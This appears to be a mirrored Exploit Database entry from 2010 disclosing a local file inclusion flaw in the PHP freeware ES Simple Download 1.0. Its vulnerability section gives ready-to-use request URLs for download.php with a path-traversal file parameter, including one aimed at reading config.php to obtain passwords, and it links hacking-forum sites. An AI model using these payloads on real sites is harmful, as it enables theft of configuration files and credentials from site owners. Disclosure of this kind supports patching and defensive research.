ES Simple Download 1.0. – Local File Inclusion

• Exploit Database
• 6 阅读

• 作者： Kazza
  日期： 2010-09-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14960/

•  ----------------------------Information------------------------------------------------
  +Name : ES Simple Download v 1.0. Local File Exclusion/LFI
  +Autor : Kazza
  +email : kazzamagic@list.ru
  +Date : 09.09.2010
  +Script: ES Simple Download v 1.0.
  +Price : Freeware
  +Language :PHP
  +Discovered by Kazza
  +Security Group : -GST-German Security Team-
  +And all Friends Sites : http://md5cracker.tk - http://gulli.com - http://free-hack.com
  
  ----------------------------Vulnerability-----------------------------------------------
  +Download : www.energyscripts.com/projects/essdownload/essdownload1.0.zip
  +Vulnerability : www.your script/download.php?PHPSESSID="Your Senssid"&file=../*****
  +Password Exploitable : www.your script/download.php?PHPSESSID="Your Senssid"&file=../../config.php
  -----------------------------------------------------------------------------------------